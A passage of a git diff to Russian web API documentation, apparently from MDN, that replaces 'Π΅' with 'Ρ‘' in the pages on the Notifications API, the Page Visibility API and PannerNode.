Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ.Β API Π±Ρ‹Π»ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Ρ‹ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΒ ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒΒ Ρ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌΠΈΒ ΡΠΈΡΡ‚Π΅ΠΌΠ°ΠΌΠΈ ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠΉ Π½Π° Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ….</p>
<h2 id="ΠšΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡ_ΠΈ_использованиС">ΠšΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡ ΠΈ использованиС</h2>
@@ -19,7 +19,7 @@ translation_of: Web/API/Notifications_API
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Для Firefox 44, Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ для Notifications ΠΈΒ <a href="/en-US/docs/Web/API/Push_API">Push</a> ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΡŽΡ‚ΡΡ. Если Π±Ρ‹Π»ΠΎ установлСно Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ для ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠΉ, push Ρ‚Π°ΠΊ ΠΆΠ΅ Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Ρ‹ .</p>
</div>
-<p>ЗатСм создаСтся Π½ΠΎΠ²ΠΎΠ΅ ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ конструктора Β {{domxref("Notification.Notification","Notification()")}}. Π’ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°Β ΠΈ, ΠΏΠΎ ТСланию,Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ настроСк, Ρ‡Ρ‚ΠΎΠ±Ρ‹Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΎΠΏΡ†ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΈ Ρ‚Π΅Π»ΠΎ тСкста, ΠΈΠΊΠΎΠ½ΠΊΠ°, Π·Π²ΡƒΠΊ увСдомлСния ΠΈ Ρ‚.Π΄.</p>
+<p>ЗатСм создаётся Π½ΠΎΠ²ΠΎΠ΅ ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ конструктора Β {{domxref("Notification.Notification","Notification()")}}. Π’ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°Β ΠΈ, ΠΏΠΎ ТСланию,Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ настроСк, Ρ‡Ρ‚ΠΎΠ±Ρ‹Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΎΠΏΡ†ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΈ Ρ‚Π΅Π»ΠΎ тСкста, ΠΈΠΊΠΎΠ½ΠΊΠ°, Π·Π²ΡƒΠΊ увСдомлСния ΠΈ Ρ‚.Π΄.</p>
<p>{{AvailableInWorkers}}</p>
diff --git a/files/ru/web/api/page_visibility_api/index.html b/files/ru/web/api/page_visibility_api/index.html
index 7cfb82fdba..3ac365ba5d 100644
--- a/files/ru/web/api/page_visibility_api/index.html
+++ b/files/ru/web/api/page_visibility_api/index.html
@@ -27,9 +27,9 @@ original_slug: Web/API/Π’ΠΈΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ_страницы_API
<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим нСсколько способов использования Page Visibility API.</p>
<ul>
- <li>На сайтС Π΅ΡΡ‚ΡŒ слайдСр ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ с Π°Π²Ρ‚ΠΎΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΎΠΉ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π½Π° ΠΏΠ°ΡƒΠ·Ρƒ, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΏΠ΅Ρ€Π΅ΡˆΠ΅Π» Π½Π°Β Π΄Ρ€ΡƒΠ³ΡƒΡŽΒ Π²ΠΊΠ»Π°Π΄ΠΊΡƒ</li>
+ <li>На сайтС Π΅ΡΡ‚ΡŒ слайдСр ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ с Π°Π²Ρ‚ΠΎΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΎΠΉ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π½Π° ΠΏΠ°ΡƒΠ·Ρƒ, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΏΠ΅Ρ€Π΅ΡˆΡ‘Π» Π½Π°Β Π΄Ρ€ΡƒΠ³ΡƒΡŽΒ Π²ΠΊΠ»Π°Π΄ΠΊΡƒ</li>
<li>ΠŸΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚Β ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠΆΠ½ΠΎ Π½Π΅ ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ, ΠΏΠΎΠΊΠ° страница Π½Π΅ Π²ΠΈΠ΄Π½Π°, Ρ‚Π΅ΠΌ самым ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ количСство запросов Π½Π° сСрвСр</li>
- <li>Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ½ΡΡ‚ΡŒ,Β ΠΊΠΎΠ³Π΄Π° ΠΎΠ½Π° Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ отрисована, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ вСсти Ρ‚ΠΎΡ‡Π½Ρ‹ΠΉ подсчСт количСства просмотров</li>
+ <li>Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠ½ΡΡ‚ΡŒ,Β ΠΊΠΎΠ³Π΄Π° ΠΎΠ½Π° Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ отрисована, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ вСсти Ρ‚ΠΎΡ‡Π½Ρ‹ΠΉ подсчёт количСства просмотров</li>
<li>Π‘Π°ΠΉΡ‚Ρƒ Π½ΡƒΠΆΠ½ΠΎ Π²Ρ‹ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π·Π²ΡƒΠΊ, ΠΊΠΎΠ³Π΄Π° устройство Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ оТидания (ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠ°Π» ΠΊΠ½ΠΎΠΏΠΊΡƒ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ³Π°ΡΠΈΡ‚ΡŒ экран)</li>
</ul>
diff --git a/files/ru/web/api/pannernode/index.html b/files/ru/web/api/pannernode/index.html
index c8076f49df..a10a3c1eb4 100644
--- a/files/ru/web/api/pannernode/index.html
+++ b/files/ru/web/api/pannernode/index.html
@@ -15,7 +15,7 @@ translation_of: Web/API/PannerNode
<div><code>PannerNode</code> всСгда ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ Π²Ρ…ΠΎΠ΄ ΠΈ ΠΎΠ΄ΠΈΠ½ Π²Ρ‹Ρ…ΠΎΠ΄: Π²Ρ…ΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ <em>ΠΌΠΎΠ½ΠΎ</em> ΠΈΠ»ΠΈ <em>стСрСо</em>, Π½ΠΎ Π²Ρ‹Ρ…ΠΎΠ΄ всСгда <em>стСрСо</em> (2 ΠΊΠ°Π½Π°Π»Π°); нСльзя ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ эффСкты панорамирования ΠΏΡ€ΠΈ отсутствии, ΠΊΠ°ΠΊ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ Π΄Π²ΡƒΡ… Π°ΡƒΠ΄ΠΈΠΎΠΊΠ°Π½Π°Π»ΠΎΠ²!</div>
</div>
-<p><img alt="PannerNode Π·Π°Π΄Π°Π΅Ρ‚ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² пространствС, ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ распространСния ΠΈ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΡΡ‚ΡŒ Π΄Π°Π½Π½ΠΎΠ³ΠΎ сигнала." src="https://mdn.mozillademos.org/files/15375/PannerNode.png" style="height: 263px; margin-left: 20px; margin-right: 20px; width: 720px;"></p>
+<p><img alt="PannerNode Π·Π°Π΄Π°Ρ‘Ρ‚ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² пространствС, ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ распространСния ΠΈ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΡΡ‚ΡŒ Π΄Π°Π½Π½ΠΎΠ³ΠΎ сигнала." src="https://mdn.mozillademos.org/files/15375/PannerNode.png" style="height: 263px; margin-left: 20px; margin-right: 20px; width: 720px;"></p>
<table class="properties">
<tbody>
@@ -28,7 +28,7 @@ translation_of: Web/API/PannerNode
<td><code>1</code></td>
</tr>
<tr>
- <th scope="row">Π Π΅ΠΆΠΈΠΌ подсчСта ΠΊΠ°Π½Π°Π»ΠΎΠ²</th>
+ <th scope="row">Π Π΅ΠΆΠΈΠΌ подсчёта ΠΊΠ°Π½Π°Π»ΠΎΠ²</th>
<td><code>"clamped-max"</code></td>
</tr>
<tr>
@@ -50,7 +50,7 @@ translation_of: Web/API/PannerNode
<div class="note_trans">
<div>
<dl>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ экзСмпляр <code>PannerNode.</code></dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ экзСмпляр <code>PannerNode.</code></dd>
</dl>
</div>
</div>
@@ -73,7 +73,7 @@ translation_of: Web/API/PannerNode
<dt>{{domxref("PannerNode.coneOuterAngle")}}</dt>
<dd>Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ‚ΠΈΠΏΠ° <code> double</code>, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π΅Π΅ ΡƒΠ³ΠΎΠ» конуса (Π² градусах), Π²Π½Π΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π³Ρ€ΠΎΠΌΠΊΠΎΡΡ‚ΡŒ Π·Π²ΡƒΠΊΠ° Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½Π° Π½Π° постоянноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, опрСдСляСмоС Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ <code>coneOuterGain.</code></dd>
<dt>{{domxref("PannerNode.coneOuterGain")}}</dt>
- <dd>Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ‚ΠΈΠΏΠ° <code>double</code>, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π΅Π΅ Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρƒ сниТСния уровня громкости Π²Π½Π΅ конуса, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ <code>coneOuterAngle</code>. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎ <code>0</code>, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, Π²Π½Π΅ конуса Π·Π²ΡƒΠΊ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠ»Ρ‹ΡˆΠ΅Π½.</dd>
+ <dd>Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ‚ΠΈΠΏΠ° <code>double</code>, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π΅Π΅ Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρƒ сниТСния уровня громкости Π²Π½Π΅ конуса, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ <code>coneOuterAngle</code>. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎ <code>0</code>, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ, Π²Π½Π΅ конуса Π·Π²ΡƒΠΊ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠ»Ρ‹ΡˆΠ΅Π½.</dd>
<dt>{{domxref("PannerNode.distanceModel")}}</dt>
<dd>ΠŸΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»ΠΈΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰Π΅Π΅, ΠΊΠ°ΠΊΠΎΠΉ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ использован для ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΡ громкости источника Π·Π²ΡƒΠΊΠ° ΠΏΡ€ΠΈ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠΈ Π΅Π³ΠΎ ΠΎΡ‚ ΡΠ»ΡƒΡˆΠ°Ρ‚Π΅Π»Ρ.</dd>
<dt>{{domxref("PannerNode.maxDistance")}}</dt>
@@ -83,15 +83,15 @@ translation_of: Web/API/PannerNode
<dt>{{domxref("PannerNode.orientationY")}}</dt>
<dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π²Π΅ΠΊΡ‚ΠΎΡ€Π° источника Π·Π²ΡƒΠΊΠ° Π² правостороннСй систСмС ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ Π”Π΅ΠΊΠ°Ρ€Ρ‚Π°. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎ 0. Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π΄Π°Π½Π½Ρ‹ΠΉ {{domxref("AudioParam")}} нСпосрСдствСнно ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ нСльзя, Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΎ Ρ‡Π΅Ρ€Π΅Π· Π΅Π³ΠΎ свойство {{domxref("AudioParam.value", "value")}}. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎ 0.</dd>
<dt>{{domxref("PannerNode.orientationZ")}}</dt>
- <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΡŒΠ½ΡƒΡŽ (Π²ΠΏΠ΅Ρ€Π΅Π΄ - Π½Π°Π·Π°Π΄) ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ Π²Π΅ΠΊΡ‚ΠΎΡ€Π° распространСния Π·Π²ΡƒΠΊΠ° ΠΎΡ‚ источника Π² правостороннСй систСмС ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ Π”Π΅ΠΊΠ°Ρ€Ρ‚Π°. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎ 0. Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π΄Π°Π½Π½Ρ‹ΠΉ {{domxref("AudioParam")}} нСпосрСдствСнно ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ нСльзя, Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΎ Ρ‡Π΅Ρ€Π΅Π· Π΅Π³ΠΎ свойство {{domxref("AudioParam.value", "value")}}. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎ 0.</dd>
+ <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΡŒΠ½ΡƒΡŽ (Π²ΠΏΠ΅Ρ€Ρ‘Π΄ - Π½Π°Π·Π°Π΄) ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ Π²Π΅ΠΊΡ‚ΠΎΡ€Π° распространСния Π·Π²ΡƒΠΊΠ° ΠΎΡ‚ источника Π² правостороннСй систСмС ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ Π”Π΅ΠΊΠ°Ρ€Ρ‚Π°. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎ 0. Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π΄Π°Π½Π½Ρ‹ΠΉ {{domxref("AudioParam")}} нСпосрСдствСнно ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ нСльзя, Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΎ Ρ‡Π΅Ρ€Π΅Π· Π΅Π³ΠΎ свойство {{domxref("AudioParam.value", "value")}}. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎ 0.</dd>
<dt>{{domxref("PannerNode.panningModel")}}</dt>
- <dd>ΠŸΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»ΠΈΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰Π΅Π΅ ΠΊΠ°ΠΊΠΎΠΉ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ пространствСнной ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для размСщСния источника Π·Π²ΡƒΠΊΠ° Π² Ρ‚Ρ€Π΅Ρ…ΠΌΠ΅Ρ€Π½ΠΎΠΌ пространствС.</dd>
+ <dd>ΠŸΠ΅Ρ€Π΅Ρ‡ΠΈΡΠ»ΠΈΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰Π΅Π΅ ΠΊΠ°ΠΊΠΎΠΉ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ пространствСнной ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для размСщСния источника Π·Π²ΡƒΠΊΠ° Π² Ρ‚Ρ€Ρ‘Ρ…ΠΌΠ΅Ρ€Π½ΠΎΠΌ пространствС.</dd>
<dt>{{domxref("PannerNode.positionX")}}</dt>
<dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ источника Π·Π²ΡƒΠΊΠ° Π² правостороннСй систСмС ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ Π”Π΅ΠΊΠ°Ρ€Ρ‚Π°. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎ 0. Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π΄Π°Π½Π½Ρ‹ΠΉ {{domxref("AudioParam")}} нСпосрСдствСнно ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ нСльзя, Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΎ Ρ‡Π΅Ρ€Π΅Π· Π΅Π³ΠΎ свойство {{domxref("AudioParam.value", "value")}}. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎ 0.</dd>
<dt>{{domxref("PannerNode.positionY")}}</dt>
<dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ источника Π·Π²ΡƒΠΊΠ° Π² правостороннСй систСмС ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ Π”Π΅ΠΊΠ°Ρ€Ρ‚Π°. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎ 0. Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π΄Π°Π½Π½Ρ‹ΠΉ {{domxref("AudioParam")}} нСпосрСдствСнно ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ нСльзя, Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΎ Ρ‡Π΅Ρ€Π΅Π· Π΅Π³ΠΎ свойство {{domxref("AudioParam.value", "value")}}. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎ 0.</dd>
<dt>{{domxref("PannerNode.positionZ")}}</dt>
- <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ источника Π·Π²ΡƒΠΊΠ° вдоль оси Z (Π²ΠΏΠ΅Ρ€Π΅Π΄ ΠΈ Π½Π°Π·Π°Π΄) Π² правостороннСй систСмС ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ Π”Π΅ΠΊΠ°Ρ€Ρ‚Π°. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎ 0. Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π΄Π°Π½Π½Ρ‹ΠΉ {{domxref("AudioParam")}} нСпосрСдствСнно ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ нСльзя, Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΎ Ρ‡Π΅Ρ€Π΅Π· Π΅Π³ΠΎ свойство {{domxref("AudioParam.value", "value")}}. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π½ΠΎ 0.</dd>
